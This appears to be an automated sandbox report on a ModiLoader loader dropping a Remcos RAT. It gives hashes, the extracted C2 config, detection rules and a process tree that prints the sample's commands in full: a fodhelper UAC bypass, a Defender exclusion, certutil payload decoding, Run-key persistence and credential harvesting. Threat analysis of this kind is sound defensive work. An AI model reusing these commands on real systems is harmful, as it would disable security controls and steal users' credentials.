modiloader | d622c7b9ad40d8461a606328c463a46a3fc472033dfd59befee7a848e6f75e88

Analysis

max time kernel
150s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
14/03/2024, 02:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d622c7b9ad40d8461a606328c463a46a3fc472033dfd59befee7a848e6f75e88.cmd
Size

2.7MB
MD5

7d96782962a1b9dc8bf3cb85d4d04bf0
SHA1

a5dcb4261294eb8d3e084f3e7790d1949c95d5ca
SHA256

d622c7b9ad40d8461a606328c463a46a3fc472033dfd59befee7a848e6f75e88
SHA512

64970e73a8a07bd46fe0f035dd392418ecd8ee4a0c87624dc485f5e185b9b0a05ffd4cd710e50ddb96a59c3072a2674f5c2bc5d807683212e83c18a5a31a7072
SSDEEP

24576:TyNNYYx5WcvYu8TJBD/XMv7AKby+qMfFHMpD0tXCn+RCN1DVkPM:TyNqYxPp8TJp/XMYMf8D0vM

Score

10^/10

modiloader remcos agentx collection persistence rat trojan

Malware Config

Extracted

Family

remcos

Botnet

agentx

192.3.109.132:4445

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
5
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-L93C6R
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 11 IoCs

resource	yara_rule
behavioral2/memory/4244-98-0x0000000000930000-0x0000000001930000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4244-100-0x0000000000930000-0x0000000001930000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4244-101-0x0000000000930000-0x0000000001930000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4244-103-0x0000000000930000-0x0000000001930000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4244-104-0x0000000000930000-0x0000000001930000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4244-106-0x0000000000930000-0x0000000001930000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4244-105-0x0000000000930000-0x0000000001930000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4244-107-0x0000000000930000-0x0000000001930000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4244-109-0x0000000000930000-0x0000000001930000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4244-121-0x0000000000930000-0x0000000001930000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral2/memory/4244-130-0x0000000000930000-0x0000000001930000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM

Detects executables built or packed with MPress PE compressor 15 IoCs

resource	yara_rule
behavioral2/memory/3172-110-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4240-112-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3172-113-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4240-116-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3172-118-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4240-122-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2208-128-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4240-129-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2208-131-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2208-123-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2208-115-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3172-117-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3172-134-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4244-136-0x0000000020330000-0x0000000020349000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/4244-139-0x0000000020330000-0x0000000020349000-memory.dmp	INDICATOR_EXE_Packed_MPress

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral2/memory/4240-122-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral2/memory/4240-129-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral2/memory/4240-122-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral2/memory/4240-129-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

ModiLoader Second Stage 1 IoCs

resource	yara_rule
behavioral2/memory/548-60-0x0000000002980000-0x0000000003980000-memory.dmp	modiloader_stage2

NirSoft MailPassView 2 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4240-122-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView
behavioral2/memory/4240-129-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 2 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3172-118-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView
behavioral2/memory/3172-134-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 6 IoCs

resource	yara_rule
behavioral2/memory/3172-118-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4240-122-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/2208-128-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4240-129-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/2208-131-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3172-134-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation	xkn.exe

Executes dropped EXE 18 IoCs

pid	Process
4840	alpha.exe
5060	alpha.exe
868	alpha.exe
3292	xkn.exe
3900	alpha.exe
4800	alpha.exe
4164	kn.exe
2912	alpha.exe
4316	kn.exe
2148	alpha.exe
548	Lewxa.com
2124	alpha.exe
4232	alpha.exe
3644	alpha.exe
2544	alpha.exe
4092	alpha.exe
4840	alpha.exe
4964	1816041.exe

Loads dropped DLL 1 IoCs

pid	Process
4964	1816041.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	colorcpl.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Msiurudd = "C:\\Users\\Public\\Msiurudd.url"	Lewxa.com

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4244 set thread context of 3172	4244	colorcpl.exe	149
PID 4244 set thread context of 4240	4244	colorcpl.exe	150
PID 4244 set thread context of 2208	4244	colorcpl.exe	151

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5060	4244	WerFault.exe	147

Kills process with taskkill 2 IoCs

evasion

pid	Process
4584	taskkill.exe
5048	taskkill.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000_Classes\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000_Classes\ms-settings\shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000_Classes\ms-settings\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\\Users "	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1516	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3088	PING.EXE

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	57	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	63	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	74	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	77	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3292	xkn.exe
3292	xkn.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
3172	colorcpl.exe
3172	colorcpl.exe
2208	colorcpl.exe
2208	colorcpl.exe
3172	colorcpl.exe
3172	colorcpl.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4244	colorcpl.exe
4244	colorcpl.exe
4244	colorcpl.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3292	xkn.exe
Token: SeDebugPrivilege	4584	taskkill.exe
Token: SeDebugPrivilege	5048	taskkill.exe
Token: SeDebugPrivilege	4852	powershell.exe
Token: SeDebugPrivilege	2208	colorcpl.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4244	colorcpl.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2152 wrote to memory of 2188	2152	cmd.exe	88
PID 2152 wrote to memory of 2188	2152	cmd.exe	88
PID 2188 wrote to memory of 3668	2188	cmd.exe	89
PID 2188 wrote to memory of 3668	2188	cmd.exe	89
PID 2152 wrote to memory of 4840	2152	cmd.exe	90
PID 2152 wrote to memory of 4840	2152	cmd.exe	90
PID 4840 wrote to memory of 3940	4840	alpha.exe	91
PID 4840 wrote to memory of 3940	4840	alpha.exe	91
PID 2152 wrote to memory of 5060	2152	cmd.exe	92
PID 2152 wrote to memory of 5060	2152	cmd.exe	92
PID 5060 wrote to memory of 4880	5060	alpha.exe	93
PID 5060 wrote to memory of 4880	5060	alpha.exe	93
PID 2152 wrote to memory of 868	2152	cmd.exe	94
PID 2152 wrote to memory of 868	2152	cmd.exe	94
PID 868 wrote to memory of 3292	868	alpha.exe	95
PID 868 wrote to memory of 3292	868	alpha.exe	95
PID 3292 wrote to memory of 3900	3292	xkn.exe	96
PID 3292 wrote to memory of 3900	3292	xkn.exe	96
PID 3900 wrote to memory of 1516	3900	alpha.exe	97
PID 3900 wrote to memory of 1516	3900	alpha.exe	97
PID 3292 wrote to memory of 4480	3292	xkn.exe	99
PID 3292 wrote to memory of 4480	3292	xkn.exe	99
PID 2152 wrote to memory of 4800	2152	cmd.exe	100
PID 2152 wrote to memory of 4800	2152	cmd.exe	100
PID 4800 wrote to memory of 4164	4800	alpha.exe	101
PID 4800 wrote to memory of 4164	4800	alpha.exe	101
PID 2152 wrote to memory of 2912	2152	cmd.exe	102
PID 2152 wrote to memory of 2912	2152	cmd.exe	102
PID 2912 wrote to memory of 4316	2912	alpha.exe	103
PID 2912 wrote to memory of 4316	2912	alpha.exe	103
PID 2152 wrote to memory of 2148	2152	cmd.exe	106
PID 2152 wrote to memory of 2148	2152	cmd.exe	106
PID 2148 wrote to memory of 3088	2148	alpha.exe	107
PID 2148 wrote to memory of 3088	2148	alpha.exe	107
PID 2152 wrote to memory of 548	2152	cmd.exe	112
PID 2152 wrote to memory of 548	2152	cmd.exe	112
PID 2152 wrote to memory of 548	2152	cmd.exe	112
PID 2152 wrote to memory of 2124	2152	cmd.exe	113
PID 2152 wrote to memory of 2124	2152	cmd.exe	113
PID 2152 wrote to memory of 4232	2152	cmd.exe	114
PID 2152 wrote to memory of 4232	2152	cmd.exe	114
PID 2152 wrote to memory of 3644	2152	cmd.exe	115
PID 2152 wrote to memory of 3644	2152	cmd.exe	115
PID 2152 wrote to memory of 2544	2152	cmd.exe	116
PID 2152 wrote to memory of 2544	2152	cmd.exe	116
PID 2152 wrote to memory of 4092	2152	cmd.exe	118
PID 2152 wrote to memory of 4092	2152	cmd.exe	118
PID 4092 wrote to memory of 4584	4092	alpha.exe	119
PID 4092 wrote to memory of 4584	4092	alpha.exe	119
PID 2152 wrote to memory of 4840	2152	cmd.exe	121
PID 2152 wrote to memory of 4840	2152	cmd.exe	121
PID 4840 wrote to memory of 5048	4840	alpha.exe	122
PID 4840 wrote to memory of 5048	4840	alpha.exe	122
PID 2152 wrote to memory of 3948	2152	cmd.exe	123
PID 2152 wrote to memory of 3948	2152	cmd.exe	123
PID 548 wrote to memory of 2396	548	Lewxa.com	133
PID 548 wrote to memory of 2396	548	Lewxa.com	133
PID 548 wrote to memory of 2396	548	Lewxa.com	133
PID 548 wrote to memory of 2152	548	Lewxa.com	134
PID 548 wrote to memory of 2152	548	Lewxa.com	134
PID 548 wrote to memory of 2152	548	Lewxa.com	134
PID 548 wrote to memory of 3916	548	Lewxa.com	137
PID 548 wrote to memory of 3916	548	Lewxa.com	137
PID 548 wrote to memory of 3916	548	Lewxa.com	137

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\d622c7b9ad40d8461a606328c463a46a3fc472033dfd59befee7a848e6f75e88.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2152
- C:\Windows\system32\cmd.exe
  cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\system32\extrac32.exe
    extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
    3⤵
    PID:3668
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4840
- - C:\Windows\system32\extrac32.exe
    extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
    3⤵
    PID:3940
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5060
- - C:\Windows\system32\extrac32.exe
    extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
    3⤵
    PID:4880
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:868
- - C:\Users\Public\xkn.exe
    C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3292
  - - C:\Users\Public\alpha.exe
      "C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3900
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
        5⤵
        Modifies registry class
        Modifies registry key
        
        PID:1516
  - - C:\Windows\system32\fodhelper.exe
      "C:\Windows\system32\fodhelper.exe"
      4⤵
      PID:4480
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\d622c7b9ad40d8461a606328c463a46a3fc472033dfd59befee7a848e6f75e88.cmd" "C:\\Users\\Public\\Lewxa.txt" 9
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4800
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\d622c7b9ad40d8461a606328c463a46a3fc472033dfd59befee7a848e6f75e88.cmd" "C:\\Users\\Public\\Lewxa.txt" 9
    3⤵
    - Executes dropped EXE
    PID:4164
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2912
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
    3⤵
    - Executes dropped EXE
    PID:4316
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c PING -n 3 127.0.0.1
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2148
- - C:\Windows\system32\PING.EXE
    PING -n 3 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:3088
- C:\Users\Public\Libraries\Lewxa.com
  C:\\Users\\Public\\Libraries\\Lewxa.com
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:548
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c mkdir "\\?\C:\Windows "
    3⤵
    PID:2396
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c mkdir "\\?\C:\Windows \System32"
    3⤵
    PID:2152
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "C:\Windows \System32\1816041.exe"
    3⤵
    PID:3916
  - - C:\Windows \System32\1816041.exe
      "C:\Windows \System32\1816041.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4964
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
        5⤵
        
        PID:4792
      - C:\Windows\system32\cmd.exe
        
        cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
        6⤵
        
        PID:5012
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4852
- - C:\Windows\SysWOW64\extrac32.exe
    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Lewxa.com C:\\Users\\Public\\Libraries\\Msiurudd.PIF
    3⤵
    PID:1744
- - C:\Windows\SysWOW64\colorcpl.exe
    C:\Windows\System32\colorcpl.exe
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of SetWindowsHookEx
    PID:4244
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\lrwsdpkgcjeguvwyc"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3172
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\nmbleiuzqrwlebkctmgw"
      4⤵
      Accesses Microsoft Outlook accounts
      PID:4240
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\yohvfafbezoqgqygcxtyzgmh"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2208
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4244 -s 1480
      4⤵
      Program crash
      PID:5060
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:2124
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:4232
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:3644
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:2544
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SystemSettings.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4584
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4840
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SystemSettingsAdminFlows.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5048
- C:\Windows\system32\cmd.exe
  cmd /c del "C:\Users\Public\alpha.exe" / A / F / Q / S
  2⤵
  PID:3948

C:\Windows\system32\SystemSettingsAdminFlows.exe
"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
1⤵
PID:4884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4244 -ip 4244
1⤵
PID:4916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pwdy5fu2.lxx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\lrwsdpkgcjeguvwyc

Filesize
4KB

MD5
789c726863f720a7ba5d255e7a000734

SHA1
0427bac5473ae472d38f2f03e8de82d2dfb1a302

SHA256
2dbc369b0667f9cd7459735e998c13ffb3a06b91024e8d483f7776b292a9b627

SHA512
e469fd47e55e9c0548bb63868d57ec66f3c50ad69686cfaabd4a0e1e160ef56dc74caabc3643622b2c1769b026ea6a5651e0cc18f1d64e8454feb4fa529e1ce8

Download Submit
C:\Users\Public\Lewxa.txt

Filesize
1.6MB

MD5
1c49c6a3dfff2d8e41725d58f30c4fe0

SHA1
d4398f00ef021b02202d4a654d4ac406cc494866

SHA256
35e76e949d31425f49a90654cf2481b2d33c2ed6d3355414524ade37d9c09f27

SHA512
68f070f523fbf6b635a5e0d72d2e3681dd3a56af22090d132a71aa73e049d8eefbfcbb2c431d200497fa1e036aed17418400ed1d753b3e915d283070ed403199

Download Submit
C:\Users\Public\Libraries\Lewxa.com

Filesize
983KB

MD5
113e33214f9258499bd29aaf0a3d1c19

SHA1
3daf6a078662f96cf39741d5887b686459a87c64

SHA256
4f951811b9208ef871db865a022fe7856b582bc6e1bcfbe56466f351eed4de61

SHA512
ac53a91bd67d676e5c8f1336cf935a62ab2afae618f644918d70684d6ab046a258a49016d900a1f80b375c79214b41147f3a161ce09c6bfc8cf1c9f45fe06072

Download Submit
C:\Users\Public\alpha.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Users\Public\kn.exe

Filesize
1.6MB

MD5
bd8d9943a9b1def98eb83e0fa48796c2

SHA1
70e89852f023ab7cde0173eda1208dbb580f1e4f

SHA256
8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

SHA512
95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

Download Submit
C:\Users\Public\xkn.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Windows \System32\1816041.exe

Filesize
128KB

MD5
231ce1e1d7d98b44371ffff407d68b59

SHA1
25510d0f6353dbf0c9f72fc880de7585e34b28ff

SHA256
30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96

SHA512
520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

Download Submit
C:\Windows \System32\netutils.dll

Filesize
112KB

MD5
